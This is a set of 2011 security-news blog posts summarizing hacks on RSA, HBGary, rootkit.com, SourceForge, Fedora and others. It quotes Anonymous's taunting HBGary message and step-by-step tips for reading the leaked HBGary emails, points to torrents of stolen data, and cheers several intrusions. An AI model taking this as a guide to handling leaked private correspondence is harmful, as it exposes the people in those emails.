EMC RSA Hack
Another high profile hack in the security industry. Check out this post of ComputerWorld to get an idea. Unfortunately, the information regarding this issue are limited to the official company’s statements and this makes it quite difficult knowing what really happened/is happening.

Anonymous vs Bank of America
Basically, you can get an overview of this operation either from the countless news websites such as this one or using Bank of America Suck. I can still recall many so-called “security experts” making fun of Anonymous a couple of years ago. Where are they now?

Anonymous on Bradley Manning’s Side
From the Forbes blog we can read this post about Anonymous’ actions regarding the absolutely unfair and inhuman treatment of Bradley Manning.

French Ministry of Finance Ownage
Another recent and very interesting attack. Here are some information from the Sophos NakedSecurity blog.

PHP.NET Compromise
From Full-Disclosure mailing list we have seen this email today. However, there is still no official report from PHP project and the given website states that the codebase was not backdoored, just altered for demonstration purposes. Currently, the project’s official wiki is offline.

I might have missed some public high profile hack(s) but I think I have included the most important. If you think there should be something more here, leave a comment to let me know. :)

Written by xorl

March 19, 2011 at 00:26

Posted in hax, news

News: Recent Hacks

with 4 comments

Unfortunately, I didn’t have time to blog about all the neat recent hacks that took place. For this reason I’ll publish this post that basically summarizes the most important (in my opinion) hacks.

Gregory D. Evans / LIGATT Security Ownage
You can find everything you need at the attrition.org‘s website here. You know, this is one of the attacks that most people knew it was coming and it makes perfectly sense to both the security industry and security enthusiasts seeing Gregory D. Evans getting owned like this.

Nasdaq Hack
I don’t know anything apart from what’s already public regarding this hack. Consequently, I won’t comment anything here. You can find information in all the major news media sites such as Reuters, CNBC, MSN Breaking News, etc.

rootkit.com ownage
Most people interested in computer security are aware of rootkit.com which is a community interested in everything about rootkits. It was created on 1999 and many members occasionally release techniques and tools mainly regarding rootkit development. Yesterday their hacked MySQL database was released to public through stfu.cc website.

HBGary Ownage
Another recent attack to a whitehat is this one. This was a payback attack from the Anonymous who also released more than 4.5GB of private data via torrent which you can find here. Their message to HBGary is:

Greetings HBGary (a computer "security" company),

Your recent claims of "infiltrating" Anonymous amuse us, and so do your attempts at using Anonymous as a means to garner press attention for yourself. How's this for attention?

You brought this upon yourself. You've tried to bite at the Anonymous hand, and now the Anonymous hand is bitch-slapping you in the face. You expected a counter-attack in the form of a verbal braul (as you so eloquently put it in one of your private emails), but now you've received the full fury of Anonymous. We award you no points.

What you seem to have failed to realize is that, just because you have the title and general appearence of a "security" company, you're nothing compared to Anonymous. You have little to no security knowledge. Your business thrives off charging ridiclous prices for simple things like NMAPs, and you don't deserve praise or even recognition as security experts. And now you turn to Anonymous for fame and attention? You're a pathetic gathering of media-whoring money-grabbing sycophants who want to reel in business for your equally pathetic company.

Let us teach you a lesson you'll never forget: you don't mess with Anonymous. You especially don't mess with Anonymous simply because you want to jump on a trend for public attention, which Aaron Barr admitted to in the following email:

"But its not about them...its about our audience having the right impression of our capability and the competency of our research. Anonymous will do what every they can to discredit that. and they have the mic so to speak because they are on Al Jazeeera, ABC, CNN, etc. I am going to keep up the debate because I think it is good business but I will be smart about my public responses."

You've clearly overlooked something very obvious here: we are everyone and we are no one. If you swing a sword of malice into Anonymous' innards, we will simply engulf it. You cannot break us, you cannot harm us, even though you have clearly tried...

You think you've gathered full names and home addresses of the "higher-ups" of Anonymous? You haven't. You think Anonymous has a founder and various co-founders? False. You believe that you can sell the information you've found to the FBI? False. Now, why is this one false? We've seen your internal documents, all of them, and do you know what we did? We laughed. Most of the information you've "extracted" is publicly available via our IRC networks. The personal details of Anonymous "members" you think you've acquired are, quite simply, nonsense.

So why can't you sell this information to the FBI like you intended? Because we're going to give it to them for free. Your gloriously fallacious work can be a wonder for all to scour, as will all of your private emails (more than 44,000 beauties for the public to enjoy). Now as you're probably aware, Anonymous is quite serious when it comes to things like this, and usually we can elaborate gratuitously on our reasoning behind operations, but we will give you a simple explanation, because you seem like primitive people:

You have blindly charged into the Anonymous hive, a hive from which you've tried to steal honey. Did you think the bees would not defend it? Well here we are. You've angered the hive, and now you are being stung.

It would appear that security experts are not expertly secured.

We are Anonymous.
We are legion.
We do not forgive.
We do not forget.
Expect us - always.

---

Quick 'n dirty way to read the emails in a human-readable format:
1. Get a client. http://www.mozillamessaging.com/thunderbird/
2. Get a file renaming tool. http://www.bulkrenameutility.co.uk/Download.php (Windows)
3. Rename all the mail files so that they have a .eml extension.
4. Drag & drop them into Thunderbird.
5. Enjoy.		

EU Carbon Trading Hack
This another of these attacks that I cannot comment since I have zero knowledge beyond what’s already said by the media. So, here are a couple of links for the interested reader… CBS News, The Register, BusinessWeek, etc. This a very interesting subject especially for Greece since it involves data from stolen accounts from Greece among other countries.

I’m fairly sure that there are many more attacks such as the “Egyptian government hacks” one on high profile systems but I’m trying to blog just about the most important (always in my opinion). Feel free to contact me if I missed some cool recent hack. :)

Written by xorl

February 7, 2011 at 05:41

Posted in hax, news

News: Kaspersky AntiVirus Source Code Leak

leave a comment »

It’s been a couple of months since I first heard this as a rumor. Finally, after quite a long period it’s publicly available via torrent and various mirror sites. Earlier today Kaspersky Labs made an official statement regarding this source code leak case (you can read about it here) saying that this code was stolen by a former employee and it was part of the 2008 customer products. That person was arrested and received a a three year suspended prison sentence.

Written by xorl

January 31, 2011 at 18:51

Posted in hax, news

News: SourceForge.net Owned

with one comment

Yesterday, the official SourceForge.net blog reported a successful attack on its servers. Today another update post was published and hopefully tomorrow a more detailed one will be released.

Update:
So, today SourceForge.net published another blog post (available here) but it doesn’t contain any technical details regarding the attack. They only important point in this post is that the attacker(s) were sniffing for passwords and SourceForge.net suggests that the users should reset their passwords.

Another Update:
Finally, SourceForge.net released a detailed report which you can read here. Unfortunately, the juicy attack details have not been released and we just know that the attacker used a privilege escalation vulnerability to root a SourceForge.net box. Later, using the hacked accounts he attempted to penetrate to other servers. Too bad… I was hoping for a “Full Report“. Anyway…

Written by xorl

January 28, 2011 at 05:22

Posted in hax, news

News: Fedora Project Compromised

leave a comment »

I have just been informed through Dennis Fisher’s post that Fedora project was compromised using a hacked contributor’s SSH account. However, Fedora Infrastructure Team states that no changes were made by the attacker since they were informed of the compromised account incident fast by the legitimate owner of the account and performed to the required operations.

Written by xorl

January 26, 2011 at 02:31

Posted in hax, news

Follow

Get every new post delivered to your Inbox.

Join 64 other followers